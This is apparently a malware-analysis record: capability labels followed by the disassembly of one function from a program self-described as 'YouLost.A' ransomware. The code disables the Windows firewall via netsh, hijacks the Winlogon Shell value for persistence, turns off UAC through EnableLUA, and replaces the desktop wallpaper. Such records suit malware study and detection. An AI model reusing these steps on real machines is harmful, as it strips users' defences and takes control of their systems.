Function at 0x401670
Capabilities:
Copy file
Create process on windows
Disable system features via registry on windows
Persist via winlogon helper dll registry key
Query environment variable
Set registry value
Write and execute a file
Write file on windows

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push ebx
push ecx
sub esp, 0x66c
mov ebx, ecx
call sym.___main
cmp dword [ebx], 2
jne 0x401835
mov eax, dword [ebx + 4]
add eax, 4
mov eax, dword [eax]
mov dword [esp + 4], 0x405044
mov dword [esp], eax
call sym._stricmp
test eax, eax
jne 0x401b6b
lea edx, [ebp - 0x198]
mov eax, 0
mov ecx, 0xa
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [ebp - 0x194], sym._WndProc_16
mov dword [ebp - 0x174], str.YOULOST
lea eax, [ebp - 0x198]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_RegisterClassA]
call eax
sub esp, 4
mov eax, dword [ebp - 0x174]
mov dword [esp + 0x2c], 0
mov dword [esp + 0x28], 0
mov dword [esp + 0x24], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x1c], 0x190
mov dword [esp + 0x18], 0x258
mov dword [esp + 0x14], 0x80000000
mov dword [esp + 0x10], 0x80000000
mov dword [esp + 0xc], 0x10040000
mov dword [esp + 8], str.YOU_LOST_
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_CreateWindowExA]
call eax
sub esp, 0x30
mov dword [0x407040], eax
mov eax, dword [0x407040]
mov dword [esp + 0x2c], 0
mov dword [esp + 0x28], 0
mov dword [esp + 0x24], 0
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0x64
mov dword [esp + 0x18], 0x226
mov dword [esp + 0x14], 0x64
mov dword [esp + 0x10], 0x32
mov dword [esp + 0xc], 0x50000000
mov dword [esp + 8], str.YOU_LOST_
mov dword [esp + 4], str.STATIC
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_CreateWindowExA]
call eax
sub esp, 0x30
mov dword [0x407044], eax
jmp 0x4017f2
lea eax, [ebp - 0x38]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_TranslateMessage]
call eax
sub esp, 4
lea eax, [ebp - 0x38]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_DispatchMessageA]
call eax
sub esp, 4
mov eax, dword [0x407040]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], eax
lea eax, [ebp - 0x38]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_GetMessageA]
call eax
sub esp, 0x10
test eax, eax
jne 0x4017d2
mov eax, dword [ebx + 4]
mov dword [esp + 4], eax
mov eax, dword [ebx]
mov dword [esp], eax
call sym._main
jmp 0x401b6b
mov eax, dword [sym.imp.KERNEL32.dll_FreeConsole]
call eax
mov dword [esp + 0xc], 0x34
mov dword [esp + 8], 0x405060
mov dword [esp + 4], str.Are_you_sure_you_want_to_execute_YouLost.A__This_is_considered_ransomware__nI_am_not_responsible_for_anything__Ive_warned_you_
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_MessageBoxA]
call eax
sub esp, 0x10
cmp eax, 7
jne 0x401874
mov eax, 0
jmp 0x401b70
mov dword [esp + 4], 0
mov dword [esp], str.netsh.exe_firewall_set_opmode_modedisable_profileall
mov eax, dword [sym.imp.KERNEL32.dll_WinExec]
call eax
sub esp, 8
lea eax, [ebp - 0x3c]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 2
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
mov dword [esp], 0x80000002
mov eax, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call eax
sub esp, 0x14
mov dword [esp + 8], 0x12c
lea eax, [ebp - 0x648]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call eax
sub esp, 0xc
mov dword [esp + 8], 0x12c
lea eax, [ebp - 0x51c]
mov dword [esp + 4], eax
mov dword [esp], str.WINDIR
mov eax, dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
call eax
sub esp, 0xc
lea eax, [ebp - 0x51c]
mov dword [esp + 8], eax
mov dword [esp + 4], str._sYOU_LOST.exe
lea eax, [ebp - 0x3f0]
mov dword [esp], eax
call sym._sprintf
mov dword [esp + 8], 0
lea eax, [ebp - 0x3f0]
mov dword [esp + 4], eax
lea eax, [ebp - 0x648]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CopyFileA]
call eax
sub esp, 0xc
lea eax, [ebp - 0x3f0]
mov dword [esp + 4], eax
lea eax, [ebp - 0x198]
mov dword [esp], eax
call sym._strcpy
lea eax, [ebp - 0x198]
mov dword [esp], eax
call sym._strlen
mov edx, eax
lea eax, [ebp - 0x198]
add eax, edx
mov dword [eax], 0x732f20
lea eax, [ebp - 0x198]
mov dword [esp], eax
call sym._strlen
lea edx, [eax + 1]
mov eax, dword [ebp - 0x3c]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x198]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.Shell
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call eax
sub esp, 0x18
mov eax, dword [ebp - 0x3c]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call eax
sub esp, 4
lea eax, [ebp - 0x40]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 2
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWAREMicrosoftWindowsCurrentVersionPolicies_system
mov dword [esp], 0x80000002
mov eax, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call eax
sub esp, 0x14
mov dword [ebp - 0x44], 0
mov eax, dword [ebp - 0x40]
mov dword [esp + 0x14], 4
lea edx, [ebp - 0x44]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0
mov dword [esp + 4], str.EnableLUA
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call eax
sub esp, 0x18
mov eax, dword [ebp - 0x40]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call eax
sub esp, 4
lea eax, [ebp - 0x51c]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s.bmp
lea eax, [ebp - 0x2c4]
mov dword [esp], eax
call sym._sprintf
mov dword [esp + 4], 0x4051bc
lea eax, [ebp - 0x2c4]
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x42
mov dword [esp + 4], 1
mov dword [esp], 0x404020
call sym._fwrite
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._fclose
lea eax, [ebp - 0x48]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 2
mov dword [esp + 8], 0
mov dword [esp + 4], str.Control_PanelDesktop
mov dword [esp], 0x80000001
mov eax, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call eax
sub esp, 0x14
lea eax, [ebp - 0x2c4]
mov dword [esp], eax
call sym._strlen
lea edx, [eax + 1]
mov eax, dword [ebp - 0x48]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x2c4]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.Wallpaper
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call eax
sub esp, 0x18
mov eax, dword [ebp - 0x48]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call eax
sub esp, 4
mov dword [esp + 4], 0
mov dword [esp], str.rundll32.exe_user32.dll_UpdatePerUserSystemParameters
mov eax, dword [sym.imp.KERNEL32.dll_WinExec]
call eax
sub esp, 8
mov dword [esp], 0x7d0
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov eax, 0
lea esp, [ebp - 0xc]
pop ecx
pop ebx
pop edi
pop ebp
lea esp, [ecx - 4]
ret